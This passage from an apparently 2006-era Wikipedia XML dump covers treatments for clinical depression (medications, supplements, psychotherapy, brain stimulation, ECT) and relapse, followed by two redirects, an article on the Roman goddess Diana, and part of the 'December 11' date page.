''[[Selective serotonin reuptake inhibitor]]s'' (SSRIs) comprise the current standard family of antidepressants. It is thought that one cause of depression is that an inadequate amount of [[serotonin]], a chemical which the brain uses to transmit signals between nerve cells, is produced. These drugs are said to work by preventing the reabsorption of serotonin by the nerve cell, thus maintaining the levels the brain needs to function effectively, although two researchers recently demonstrated that this is a marketing technique rather than a scientific portrayal of how the drugs actually work. [http://medicine.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pmed.0020392]. Recent research indicates that these drugs may interact with transcription factors known as &quot;clock genes&quot;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15994025&amp;query_hl=24] that may be important for the addictive properties of drugs of abuse and possibly in obesity[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16094306&amp;query_hl=27][http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16288309&amp;query_hl=24].

This family of drugs includes [[fluoxetine]] (Prozac), [[paroxetine]] (Paxil), [[escitalopram]] (Lexapro), and [[sertraline]] (Zoloft). These antidepressants typically have fewer adverse side effects than the tricyclics or the MAOIs, though such effects as drowsiness, dry mouth, and decreased ability to function sexually may occur.

''[[Norepinephrine reuptake inhibitor]]s'' such as [[reboxetine]] (Edronax)  act via [[norepinephrine]] (Also known as ''noradrenaline''). NeRIs are thought to have a positive effect on concentration and motivation in particular.

''[[Serotonin-norepinephrine reuptake inhibitor]]s'' (SNRIs) such as [[venlafaxine]] (Effexor) and [[duloxetine]] (Cymbalta) are a newer form of anti-depressant which work both on noradrenaline and on serotonin. They typically have similar side-effects to the SSRIs although there may be a withdrawal syndrome on discontinuation which may require a tapering of the dose. 

On [[28 February]] [[2006]], the [[United States]] [[Food and Drug Administration]] approved Emsam, a [[transdermal patch|transdermal]] MAOI patch developed by the [[Great Britain|British]] company Somerset Pharmaceuticals, to be marketed in the U.S. by [[Bristol-Myers Squibb]] [http://today.reuters.co.uk/news/newsArticle.aspx?type=healthNews&amp;storyID=2006-02-28T215305Z_01_WEN1717_RTRIDST_0_HEALTH-DEPRESSION-DC.XML&amp;archived=False].

==== Dietary supplements ====
''[[5-HTP]]'' supplements are claimed to provide more raw material to the body's natural serotonin production process. There is a reasonable indication that 5-HTP may not be effective for those who haven't already responded well to an SSRI.

''[[S-adenosyl methionine]]'' (SAM-e) is a derivative of the amino acid [[methionine]] that is found throughout the human body, where it acts as a methyl donor and participates in other biochemical reactions. It is available as a prescription antidepressant in Europe, and an over-the-counter dietary supplement in the United States. Clinical trials have shown SAM-e to be as effective as standard antidepressant medication, with many fewer side effects.{{ref|oldref_2}},{{ref|oldref_3}} Its mode of action is unknown. 

''[[Omega-3 fatty acids]]'' (found naturally in [[oily fish]], [[flax seed|flax seeds]], [[hemp|hemp seeds]], [[walnut|walnuts]], [[canola oil]] etc.) have also been found to be effective while used as a dietary supplement (although only fish-based omega-3 fatty acids have shown anti-depressant efficacity) [http://www.mcmanweb.com/article-15.htm].

''[[Magnesium]]'' has gathered some attention [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15567428][http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15577090].

====Essential nutrients====
''[[Zinc]]'', an optimal level of which has had an antidepressant effect in studies [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16491668][http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16382189].

==== Augmentor drugs ====
Some antidepressants have been found to work more effectively in some patients when used in combination with another drug. Such &quot;augmentor&quot; drugs include [[tryptophan]] (Tryptan) and [[buspirone]] (Buspar).

''[[Tranquillizer]]s and [[sedative]]s'', typically the [[benzodiazepine]]s, may be prescribed to ease anxiety and promote sleep. Because of their high potential for fostering dependence, these medications are intended only for short-term or occasional use. Medications are often employed not for their primary function, but to exploit what are normally [[side effect]]s. [[Quetiapine]] fumarate (Seroquel) is designed primarily to treat [[schizophrenia]] and bipolar disorder, but a frequently-reported side-effect is [[somnolence]]. Hence, this non-addictive drug can be used in place of an addictive anti-anxiety agent such as [[clonazepam]] (Klonopin, Rivotril).

''[[Antipsychotic]]s'' such as [[risperidone]] (Risperdal) and [[olanzapine]] (Zyprexa), and [[Quetiapine]] (Seroquel) are prescribed as [[mood]] stabilizers and are also effective in treating [[anxiety]]. [[Antipsychotics]] (typical or atypical) may be also prescribed in an attempt to augment an [[antidepressant]], to make antidepressant blood concentration higher, or to relieve [[psychotic]] or [[paranoid]] symptoms often accompanying clinical depression. However, they may have serious side effects, particularly at high doses, which may include blurred [[Visual perception|vision]], [[muscle]] spasms, restlessness, [[tardive dyskinesia]], and weight gain.

Antidepressants by their nature are stimulants.  Anti-anxiety medications by their nature are depressants.  Close medical supervision is critical to proper treatment if a subject is presenting both illnesses as the medications tend to work against each other.

''[[Lithium salt|Lithium]]'' remains the standard treatment for [[bipolar disorder]], and is often used in conjunction with other medications, depending upon whether mania or depression is being treated.  Lithium's potential side effects include [[thirst]], [[tremor]]s, light-headedness, and [[nausea]] or [[diarrhea]].  Some of the [[anticonvulsants]] such as [[carbamazepine]] (Tegretol), [[sodium valproate]] (Epilim), and [[lamotrigine]] (Lamictal) are also used as mood stabilisers, particularly in bipolar disorder.

Failure to take medication, or failure to take it as prescribed, is one of the major causes of [[relapse]]. Should one feel a change or discontinuation of medication is necessary, it is critical that this be done in consultation with a doctor.

=== Psychotherapy ===
In [[psychotherapy]], or ''counselling'', one receives assistance in understanding and resolving problems which may be contributing to depression. This may be done individually or with a group, and is conducted by health professionals such as psychiatrists, psychologists, social workers, or psychiatric nurses. It is important to enquire about both the therapist's training and approach; a very close bond often forms between practitioner and client, and it is important that the client feel understood by the clinician.

Counsellors can help a person make changes in thinking patterns, deal with relationship issues, detect and deal with relapses, and understand the factors that contribute to depression.

There are many therapeutic approaches, but all are aimed at improving an individual's personal and interpersonal functioning. ''[[Cognitive therapy]]'', also known as ''Cognitive Behaviour Therapy'', focuses on how people think about themselves and their relationships to the world. It works to counteract negative thought patterns and enhance self-esteem. Therapy can be used to help a person develop or improve ''[[interpersonal skills]]'' in order to allow them to communicate more effectively and reduce stress. ''[[Narrative therapy]]'' gives attention to each individual's &quot;dominant story&quot; by means of therapeutic conversations which also may involve exploring &quot;unhelpful&quot; ideas and how they came to prominence.  ''[[Behavioral therapy]]'' is based on the assumption that behaviors are learned. This type of therapy attempts to teach individuals new and healthier types of behaviours. ''[[Supportive therapy]]'' encourages people to discuss their problems and provides them with emotional support. The focus is on sharing information, ideas, and strategies for coping with daily life. ''[[Family systems therapy]]'' helps people live together more harmoniously and undo patterns of destructive behaviour.

=== Transcranial magnetic stimulation ===
[[Repetitive transcranial magnetic stimulation]] (rTMS) is currently under study as a possible treatment for depression. Initially designed as a tool for physiological studies of the brain, this technique shows promise as a means of alleviating depression. In this therapy, a powerful magnetic field is used to stimulate the left prefrontal [[cortex (neuroanatomy)|cortex]], an area of the brain which typically shows abnormal activity in depressed individuals.

rTMS has been proposed as an alternative to ECT that would have fewer side effects. No sedation is required, and the only reported side effects are a slight headache in some patients, and facial muscle contraction during treatment. However clear evidence that it is an effective treatment is still awaited.{{ref|oldref_6}}

[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=15307288&amp;dopt=Citation Recent work] in Poland has suggested that weak, variable magnetic fields may offer relief from depression in those that have been unresponsive to medication.  However, some of the existing work has been [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=11985347&amp;dopt=Abstract questioned] with claims that the effect is not as significant once environmental conditions are [[control group|controlled]] for.

===Vagus nerve stimulation===
[[Vagus nerve stimulation]] therapy is a treatment used since 1997 to control [[seizure]]s in [[epileptic]] patients and has recently been approved for treating resistant cases of clinical depression. The VNS device is implanted in a patient's chest with wires that connect it to the [[vagus nerve]], which it stimulates to reach a region of the brain associated with [[mood]]s.
The device delivers controlled electrical doses to the vagus nerve at regular intervals.

=== Electroconvulsive therapy ===
[[Electroconvulsive therapy]] (ECT), also known as ''electroshock'' or ''electroshock therapy'' employs short bursts of a controlled current of [[electricity]] (this is typically fixed at 0.9 ampere) into the brain to induce a brief, artificial [[seizure]] while the patient is under [[general anaesthesia]].

ECT has acquired a fearsome reputation, in part, from its use as a tool of [[Political repression|repression]] in the former [[USSR]], and its fictional depiction in films such as ''[[One Flew Over the Cuckoo's Nest (film)|One Flew Over the Cuckoo's Nest]]'', but remains a common treatment where other means of treatment have failed, or where the use of drugs is unacceptable (such as in [[pregnancy]]). Also, in contrast to &quot;direct&quot; electroshock of years ago, most countries now only allow ECT to be administered under anaesthesia.  In a typical regimen of treatment, a patient receives three treatments per week over three or four weeks. Repeat sessions may be required. [[Short-term memory]] loss, disorientation and headache are very common side effects. In some cases, permanent memory loss has occurred, but detailed neuropsychological testing in clinical studies have not been able to prove permanent effects on memory. ECT offers the benefit of a very fast response, however, this response has been shown not to last unless either maintenance electroshock or maintenance medications are used.  While antidepressants usually take around a month to take effect, the results of ECT have been shown to be much faster.  For this reason, it is the treatment of choice in emergency circumstances (for example in catatonic depression where the patient has ceased oral intake of fluid or nutrients).

There remains much controversy over electroshock. Advocacy groups and scientific critics, such as Dr [[Peter Breggin]][http://www.breggin.com/Electroshockscientific.pbreggin.1998.pdf], call for restrictions on its use or complete abolishment. Like all forms of psychiatric treatment, electroshock can be given without a patient's consent, but this is subject to legal conditions dependent on the jurisdiction.

=== Other methods of treatment ===
====[[Light therapy]]====
Bright [[light]] (both [[sunlight]] and artificial light) is shown to be effective in [[seasonal affective disorder]], and sometimes may be effective in other types of depression, especially atypical depression or depression with &quot;seasonal [[phenotype]]&quot; (overeating, oversleeping, weight gain, [[apathy]]).

'''Important note:''' an antidepressant effect is caused by stimulation of the [[retina]] by the [[visible light]], not by  the [[ultra-violet]] portion.  Thus, it is not necessary (and may be even dangerous in some cases) to get [[sunburn]]. It can be enough just to walk at daytime or to take light therapy using a light box. However, recent discoveries of the existence and importance of the third kind of photoreceptor in our eyes,the [[intrinsically photosensitive retinal ganglion cells]](ipRGC)- critical to [[human chronobiology]] - strongly suggest that bluish light is more helpful, and manufacturers are beginning to respond to this.

====Exercise====
It is widely believed that physical activity and [[exercise]] helps depressive patients and promotes quicker and better relief from depression. It is also thought to help antidepressants and psychotherapy to work better and faster. It can be difficult to find the motivation to exercise if the depression is severe, but sufferers should be encouraged to take part in some form of regularly-scheduled physical activity if possible. A workout need not be strenuous; many find [[walking]], for example, to be of great help. Exercise produces higher levels of chemicals in the brain, notably [[dopamine]], [[serotonin]], and  [[norepinephrine]]. In general this leads to improvements in mood, which is effective in countering depression.

Note that prior to beginning an exercise regime, it is wise to consult a doctor. He or she can establish whether a person possesses any health problems that could rule out some types of exercise.

====Meditation====
[[Meditation]] is increasingly seen as a useful treatment for depression. The current professional opinion of meditation is that it represents at least a complementary method of treating depression, a view that has been clearly underscored by the Mayo Clinic. Since the late 1990s, much research has been carried out to determine how meditation affects the brain (for more information see the main article on meditation). While the effects on the mind are somewhat complex, they are often quite positive, encouraging a calm, [[reflective]] and [[rational]] state of mind which can be of great help against depression. It's notable that while many [[religion]]s actively encourage/use meditative practice, it is not necessary to be a member of any faith to partake in meditation.

===Old methods===
'''Insulin shock treatment''' is an old and currently mostly abandoned treatment of severe depressions, [[psychoses]], [[Catatonia|catatonic states]] and other [[mental disorders]]. It consists of induction of [[hypoglycemic coma]] by [[intravenous infusion]] of [[insulin]]. The treatment is potentially unsafe and can be lethal in some cases (about 1% of patients undergoing [[insulin coma]]), even with proper monitoring. That was the main reason why it was abandoned from current medical practice. In contrast, [[ECT]] is considered to be very safe. 

Nevertheless, insulin shock therapy is still officially used in [[Russia]] and some other countries, and can be administered to a very treatment-resistant patient under his written consent in many [[Western countries]].

'''Atropinic shock therapy''', also known as atropinic coma therapy, is an old and currently rarely-used method. It consists of induction of [[atropinic coma]] by rapid intravenous infusion of [[atropine]].

The atropinic shock treatment is considered relatively safe but the problem with its administration is that it requires prolonged coma (4-5 hours), careful monitoring and preparation, and it has many unpleasant side effects, like blurred vision due to [[atropine]]. Thus it is rarely used now. But it can be used under written consent in Western countries in some very treatment-resistant cases, and is still officially used in Russia and some other countries.

== Relapse ==
[[Relapse]] is more likely if treatment has not resulted in the full remission of symptoms.&lt;sup&gt;[[Clinical depression#References|4]]&lt;/sup&gt; In fact, current guidelines for antidepressant use recommend 4 to 6 months of continuing treatment following symptom resolution to prevent relapse of depression.

Combined evidence from many [[randomized controlled trials]] indicates that continuing antidepressant medications after recovery substantially reduces (halves) the chances of relapse. This preventative effect probably lasts for at least the first 36 months of use.{{ref|oldref_7}}

Some anecdotal evidence exists to suggest that chronic disease is accompanied by relapses after prolonged treatment with antidepressants ([[Tachyphylaxis]]).  Psychiatric texts suggest that physicians respond to this by increasing dosage, complementing the medication with a different class, or changing the medication class entirely.  The reason for relapse in these cases is as poorly understood as the change in brain physiology induced by the medications themselves.  Possible reasons may include ageing of the brain or worsening of the condition.  Most SSRI psychiatric medications were developed for short term use (a year or less), but are widely prescribed for indefinite periods.[http://cms.psychologytoday.com/articles/pto-19990301-000032.html] &lt;!-- A reference was finally cited for this claim; I had to guess whether the &quot;these drugs&quot; in the sentence in question referred to anti-depressants or to SSRIs specifically; I took the conservative interpretation. --&gt;

==See also==
* [[Beck Depression Inventory]]
* [[Bipolar disorder]]
* [[Chemical imbalance theory]]
* [[Cyclothymia]]
* [[Dysthymia]]
* [[Hamilton Depression Rating Scale]]
* [[Hypoadrenia]] (also covers 'adrenal exhaustion', sometimes called 'adrenal fatigue')
* [[Learned helplessness]]
* [[List of people who have suffered from depression]]
* [[Mania]] 
* [[Maslow's hierarchy of needs]]
* [[Seasonal affective disorder]] (SAD)
* [[Stress (medicine)|Stress]]

== Books ==
=== Books by psychologists/psychiatrists ===
* Beck, A. T., Rush, A. J., Shaw, B. F., Emery, G. (1987). ''Cognitive therapy of depression''. New York: Guilford.
* Burns, David D. (1999). ''Feeling Good : The New Mood Therapy''. Avon.
* Klein, D. F., &amp; Wender, P. H. (1993). ''Understanding depression: A complete guide to its diagnosis and treatment''. New York: Oxford University Press.
* Kramer, Peter D (2005). ''Against Depression''. New York: Viking Adult
* Weissman, M. M., Markowitz, J. C., &amp; Klerman, G. L. (2000). ''Comprehensive guide to interpersonal psychotherapy''. New York: Basic Books.
* Sarbadhikari S. N. (2005).Ed, ''Depression and Dementia:Progress in Brain Research, Clinical Applications and Future Trends''. Hauppauge, Nova Science Publishers. [http://novapublishers.com/catalog/product_info.php?products_id=232] ISBN 1-59454-114-0

=== Books by persons suffering or having suffered from depression ===
* Wurtzel, E. (1997) ''Prozac Nation: Young and Depressed in America: A Memoir.'' Riverhead Books. ISBN 1573225126 
* Lewinsohn, P. M., Munoz, R. F, Youngren, M. A., Zeiss, A. M. (1992). ''Control your depression''. New York: Fireside/Simon&amp;Schuster.
* [[Agate Nesaule|Nesaule, Agate]] (1995). ''A Woman in Amber: Healing the Trauma of War and Exile'' New York: Penguin Books.
*: ISBN 1-56947-046-4 (hc.); 0 14 02.6190 7 (pbk.)
* Rowe, Dorothy (2003). ''Depression: The way out of your prison''. London: Brunner-Routledge.
* Sealey, Robert (2002). ''Finding Care for Depression, Mental Episodes &amp; Brain Disorders'', Toronto: Sear Publications www.searpubl.ca
* Shields, Brooke (2005). ''Down Came the Rain: My Journey Through Postpartum Depression''. Hyperion. ISBN: 1401301894.
* Smith, Jeffery (2001). ''Where the roots reach for water: A personal and natural history of melancholia''. New York: North Point Press.
* Solomon, Andrew (2001). ''The noonday demon: An atlas of depression''. New York: Scribner.
* [[William Styron|Styron, William]] (1992). ''Darkness visible: A memoir of madness''. New York: Vintage Books/Random House.
* [[Lewis Wolpert|Wolpert, Lewis]] (2001). ''Malignant sadness: The anatomy of depression''. London: Faber and Faber.
* [[Eckhart Tolle|Tolle, Eckhart]] (1999). ''The Power of Now: A Guide to Spiritual Enlightenment'', New World Library, October, 1999 ISBN 1577311523 (HC) ISBN 1577314808 (PB)

==Sources==
&lt;!-- Instructions for adding a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately proceeds yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference will not work: you must insert two uniquely named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
 --&gt;

#{{Note|Schildkraut}} {{cite journal
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 | date = 1965
 | title =  The catecholamine hypothesis of affective disorders: a review of supporting evidence
 | journal = Am J Psychiatry
 | volume = 122 | issue = 5 | pages = 509-22
}}
#{{Note|Hirschfeld}} {{cite journal
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 | date = 2000
 | title = History and Evolution of the Monoamine Hypothesis of Depression
 | journal = J Clin Psychiatry
 | volume = 61 | issue = Suppl. 6 | pages = 4-6
}}
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 | last = Bland | first = R.C.
 | date = 1997
 | title = Epidemiology of Affective Disorders: A Review
 | journal = Can J Psychiatry
 | volume = 42 | pages = 367–377
 }}
# {{Note|oldref_5}} {{cite journal
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 | coauthors = Lopez, A.D.
 | date = 1997
 | title = Alternative projections of mortality and disability by cause 1990-2020: Global Burden of Disease Study
 | journal = Lancet
 | volume = 349 | pages = 1498–1504
 }}
# {{note|manev}} {{cite journal
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 | title = 5-Lipoxygenase as a putative link between cardiovascular and psychiatric disorders
 | last = Manev | first = R
 | coauthors = Manev H
 | journal = Critical Reviews in Neurobiology
 | date = 2004 | volume = 16 | issue = 1–2 | pages = 181–6
 }}
# {{note|lawrence}} {{cite book
 | first = Felicity
 | last = Lawrence
 | year = 2004
 | title = Not on the Label
 | chapter = The Ready Meal
 | editor = Kate Barker
 | pages = 214
 | publisher = Penguin
 | id = ISBN 0-141-01566-7
 }}
# {{note|durham}} {{cite web
 | title = Using Fatty Acids for Enhancing Classroom Achievement
 | url = http://www.durhamtrial.org/
 | accessdate = January
 | accessyear = 2004
 }}
# {{Note|oldref_2}} {{cite journal
 | first = Roberto | last = Delle Chiaie
 | coauthors = Paolo Pancheri and Pierluigi Scapicchio
 | year = 2002
 | title = Efficacy and tolerability of oral and intramuscular S-adenosyl- L-methionine 1,4-butanedisulfonate (SAMe) in the treatment of major depression: comparison with imipramine in 2 multicenter studies
 | journal = Am J Clin Nutr
 | volume = 76 | issue = 5 | pages = 1172S–1176S
 }}
# {{Note|oldref_3}} {{cite journal
 | last = Mischoulon
 | first = D
 | coauthors = Fava M.
 | year = 2002
 | title = Role of S-adenosyl-L-methionine in the treatment of depression: a review of the evidence
 | journal = Am J Clin Nutr
 | volume = 76
 | issue = 5
 | pages = 1158S–61S
 }}
# {{Note|oldref_4}} {{cite journal
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 | date = 2003
 | title = Past, Present, and Future Directions for Defining Optimal Treatment Outcome in Depression
 | journal = JAMA
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 }}
# {{Note|oldref_6}} {{cite journal
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 | first = JL
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 | title = Repetitive transcranial magnetic stimulation for the treatment of depression. [[Systematic review]] and [[meta-analysis]]
 | journal = British Journal of Psychiatry
 | date = June 2003
 | volume = 182
 | pages = 480-91
 | id = PMID 12777338
 }}
# {{Note|oldref_7}} {{cite journal
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 | first = JR
 | coauthors = Carney SM, Davies C, Furukawa TA, Kupfer DJ, Frank E, Goodwin GM
 | title = Relapse prevention with antidepressant drug treatment in depressive disorders: a [[systematic review]]
 | journal = Lancet
 | date = 22 February 2003
 | volume = 361
 | issue = 9358
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 | id = PMID 12606176
 }}

==External links==
{{Wikibookspage|Demystifying Depression}}
* {{dmoz|Health/Mental_Health/Disorders/Mood/Depression|Depression}}

[[Category:Medical emergencies]]
[[Category:Mood disorders]]

[[ar:كآبة]]
[[de:Depression]]
[[es:Depresión]]
[[fi:Masennus]]
[[fr:Dépression (médecine)]]
[[he:דיכאון]]
[[hr:Klinička depresija]]
[[ja:鬱病]]
[[nl:Klinische depressie]]
[[no:Depresjon (sykdom)]]
[[pl:Depresja (choroba)]]
[[pt:Depressão nervosa]]
[[ru:Большая депрессия]]
[[simple:Depression (illness)]]
[[sv:Depression]]
[[vi:Trầm cảm]]
[[zh:抑郁症]]</text>
    </revision>
  </page>
  <page>
    <title>Don Delillo</title>
    <id>8390</id>
    <revision>
      <id>15906393</id>
      <timestamp>2002-10-08T08:07:56Z</timestamp>
      <contributor>
        <username>K.lee</username>
        <id>4367</id>
      </contributor>
      <comment>made redirect to &quot;Don DeLillo&quot;; all credible sources seem to agree on the mixed-caps spelling</comment>
      <text xml:space="preserve">#REDIRECT [[Don DeLillo]]</text>
    </revision>
  </page>
  <page>
    <title>Diana (mythology)</title>
    <id>8391</id>
    <revision>
      <id>41401622</id>
      <timestamp>2006-02-27T02:11:48Z</timestamp>
      <contributor>
        <username>Womaningreen</username>
        <id>997362</id>
      </contributor>
      <text xml:space="preserve">[[Image:DianaLouvre.jpg|thumb|200px|Classical Roman statue of Diana.]]
[[Image:Swanson4715.jpg|left|thumb|200px|Statue of Diana by Augustus Saint-Gaudens.]]

In [[Roman mythology]], '''Diana''' was the [[virgin]] [[goddess]] of the [[hunting|hunt]], the [[Greek deities and their Roman and Etruscan counterparts|equivalent]] of the [[Greek mythology|Greek goddess]] [[Artemis]]. Born with her [[twin]] brother [[Apollo]] on the island of [[Delos]], Diana was the daghter of [[Jupiter (mythology)|Jupiter]] and [[Latona]].

Diana was the perpetually virginal huntress goddess, associated with wild animals and woodlands. She also later became a [[moon goddess]], supplanting [[Luna]], and was an emblem of [[chastity]]. [[Oak]] groves were especially sacred to her. She was praised for her strength, athletic grace, beauty and hunting skill. She made up a trinity with two other Roman deities: [[Egeria (mythology)|Egeria]] the water nymph, her servant and assistant midwife; and [[Virbius]], the woodland god.

Diana was worshipped in a temple on the [[Aventine Hill]] and at the city of [[Ephesus]], where the [[Temple of Artemis]] stood. Being placed on the Aventine, and thus outside the [[pomerium]], meant that Diana's cult essentially remained a 'foreign' one, like that of [[Bacchus]]; she was never officially 'transferred' to Rome as [[Juno]] was after the sack of [[Veii]].  It seems that her cult originated in [[Aricia]], where her priest, the [[Rex Nemorensis]] remained.  Diana was regarded with great reverence by lower-class citizens and [[slavery|slaves]]; slaves could receive asylum in her temples. She was worshipped at a festival on [[August 13]], when King [[Servius Tullius]], himself born a slave, dedicated her shrine on the Aventine.

Diana is usually depicted by the side of a deer. This is because Diana is said to have converted a man she found spying on her while taking a bath into a deer when he tried to flee her. 
==Modern Day==

Diana remains an important figure in some modern mythologies. In [[Freemasonry]], she is considered a symbol of imagination, sensibility, and the creative insanity of poets and artists. Those who believe that prehistoric peoples lived in [[matriarchy|matriarchal societies]] consider Diana to have originated in a [[mother goddess]] worshipped at that time, and she is still worshiped today by women practicing the religion known as [[Dianic Wicca]].
&lt;br clear=all&gt;
==External links==
{{commons|Artemis}}
* [http://www.liverpoolmuseums.org.uk/picture-of-month/displaypicture.asp?venue=7&amp;id=130 ''Landscape with Diana and Callisto'' painting]
* [http://www.wga.hu/art/d/domenich/diana.jpg ''Diana and her Nymphs'' painting]
&lt;br clear=all&gt;
{{Roman myth (major)}}

[[Category:Lunar goddesses]]
[[Category:Hunting goddesses]]
[[Category:Roman goddesses]]

[[bg:Диана (богиня)]]
[[da:Diana (gudinde)]]
[[de:Diana (Mythologie)]]
[[eo:Diana]]
[[es:Diana (mitología)]]
[[fi:Diana]]
[[fr:Diane]]
[[he:דיאנה (מיתולוגיה)]]
[[it:Diana (mitologia)]]
[[ja:ディアナ]]
[[la:Diana]]
[[nl:Diana (godin)]]
[[pl:Diana (bogini)]]
[[pt:Diana (mitologia)]]
[[ro:Diana]]
[[sr:Дијана]]
[[sv:Diana]]
[[zh:狄安娜]]</text>
    </revision>
  </page>
  <page>
    <title>Dmitri Ivanovich Mendeleev</title>
    <id>8395</id>
    <revision>
      <id>32418105</id>
      <timestamp>2005-12-22T23:17:03Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Dmitri Mendeleev]]</text>
    </revision>
  </page>
  <page>
    <title>December 11</title>
    <id>8396</id>
    <revision>
      <id>41759147</id>
      <timestamp>2006-03-01T15:16:16Z</timestamp>
      <contributor>
        <username>Matchups</username>
        <id>634576</id>
      </contributor>
      <minor />
      <comment>/* Events */ Remove redundancy in [[2005 Sydney race riots]] item</comment>
      <text xml:space="preserve">'''December 11''' is the 345th day (346th in leap years) of the year in the [[Gregorian calendar]]. There are 20 days remaining.

{{DecemberCalendar}}

==Events==
*[[1282]] - [[Llywelyn ap Gruffydd]] or Gruffudd (b. c. 1228) the last native [[Prince of Wales]], was killed at [[Cilmeri]], near [[Builth Wells]], south [[Wales]].  He was the last prince of an independent Wales before its conquest by King [[Edward I]] of England.  Some would say he was the penultimate, but in effect he was the last ruler. In [[Welsh]], he is remembered by the alliterative soubriquet [[Llywelyn Ein Llyw Olaf]] (Llywelyn, Our Last Leader).
*[[1602]] - A surprise attack by forces under the command of the [[Duke of Savoy]] and his brother-in-law, [[Philip III of Spain]], is repelled by the citizens of [[Geneva]]. (This actually takes place after midnight, in the early morning of [[December 12]], but commemorations/celebrations on [[L'Escalade|Fête de l'Escalade]] are usually held on December 11 or the closest weekend.)
*[[1792]] - [[French Revolution]]: King [[Louis XVI of France]] is put on trial for treason by the [[National Convention]].
*[[1816]] - [[Indiana]] becomes the 19th [[U.S. state]].
*[[1872]] - [[P.B.S. Pinchback]] is sworn in as the first black member of the [[U.S. House of Representatives]].
*[[1927]] - [[Guangzhou Uprising]]: [[Communist]] militia and worker [[Red Guards (China)|red guards]] launch an uprising in the [[China|Chinese]] city of [[Guangzhou]], taking over most of the city and announcing the formation of a Guangzhou [[Soviet (council)|Soviet]].
*[[1931]] - The [[British Parliament]] enacts the [[Statute of Westminster 1931|Statute of Westminster]], which establishes a status of legislative equality between the self-governing dominions of the [[Commonwealth of Australia]], the [[Dominion of Canada]], the [[Irish Free State]], [[Newfoundland]], the [[Dominion of New Zealand]], and the [[Union of South Africa]].
*[[1934]] - A fire at the Hotel Kerns in [[Lansing, Michigan]], kills 34 people.
*[[1936]] - [[Abdication Crisis]]: [[Edward VIII of the United Kingdom|Edward VIII]]'s abdication as King of the [[United Kingdom of Great Britain and Northern Ireland]], the [[Commonwealth Realm|British Dominions beyond the Seas]], and [[Emperor of India]] becomes effective.
*[[1937]] - [[Second Italo-Abyssinian War]]: [[History of Italy as a monarchy and in the World Wars|Italy]] leaves the [[League of Nations]]
*[[1941]] - [[World War II]]: [[Nazi Germany|Germany]] and [[History of Italy as a monarchy and in the World Wars|Italy]] declare war on the [[United States]].
*[[1946]] - The [[United Nations International Children's Emergency Fund]] (UNICEF) is established.
*[[1951]] - [[Joe Dimaggio]] announces his retirement from baseball.
*[[1954]] - The [[American Nuclear Society]] is founded.
*[[1958]] - [[Upper Volta]] declares its independence from [[France]], and becomes an autonomous republic in the [[French Community]].
*[[1970]] - [[John Lennon]] releases the album ''[[Plastic Ono Band]]''.
*[[1971]] - The [[United States Libertarian Party]] is formed.
*[[1972]] - [[Apollo 17]] becomes the sixth mission to land on the [[Moon]].
*[[1981]] - In his last fight, [[Muhammad Ali]] is defeated by [[Trevor Berbick]].
*  1981   - [[Javier Pérez de Cuéllar]] becomes [[UN Secretary-General]]
*  1981   - [[El Mozote massacre]]: Salvadoran armed forces kill an estimated 900 civilians in an anti-guerrilla campaign during the country's civil war.
*  1981   - [[Clube de Regatas do Flamengo]] defeat [[Liverpool F.C]] in the final of the [[Intercontinental Cup]] in [[Tokyo]].
*[[1990]] - [[Mafia]]: [[New York]] mafioso [[John Gotti]] is arrested. 
*[[1993]] - Forty-eight people are killed when a block of the [[Highland Towers collapse|Highland Towers collapses]] near [[Kuala Lumpur]], [[Malaysia]].
*[[1994]] - [[First Chechen War]]: [[Russian President]] [[Boris Yeltsin]] orders [[Russia]]n troops into [[Chechnya]]
*  1994   - A bomb assembled by [[Ramzi Yousef]] explodes on [[Philippine Airlines Flight 434]], killing a [[Japan]]ese businessman. 
*[[1998]] - A [[Thai Airways International|Thai Airways]] [[Airbus A310]]-200 crashes near [[Surat Thani Airport]], killing 101.
*[[2001]] - Members of the [[DrinkOrDie]] [[warez]] group are arrested in police raids.
*  2001   - The [[People's Republic of China]] joins the [[World Trade Organization]].
*[[2005]] - The [[2005 Hertfordshire Oil Storage Terminal fire|Buncefield Oil Depot]] in [[Hemel Hempstead]] is rocked by explosions, causing a huge oil fire.
*  2005   - ''Vengeance of Rain'' becomes [[Hong Kong]]'s first World Racing Championship winner after winning the [[Hong Kong International Races|Cathay Pacific Hong Kong Cup]] at [[Sha Tin Racecourse]].
*  2005   - [[2005 Sydney race riots|Sydney race riots]]: Thousands of [[Australia|Australians]] demonstate against ethnic violence resulting in a riot against anyone thought to be [[Lebanese]] (and many who were not) in [[Cronulla]] [[Sydney]]. These are followed up by ethnic attacks on [[Cronulla]].

==Births==
*[[1465]] - [[Ashikaga Yoshihisa]], Japanese shogun (d. [[1489]])
*[[1475]] - [[Pope Leo X]] (d. [[1521]])
*[[1566]] - [[Manuel Cardoso]], Portuguese composer (d. [[1650]])
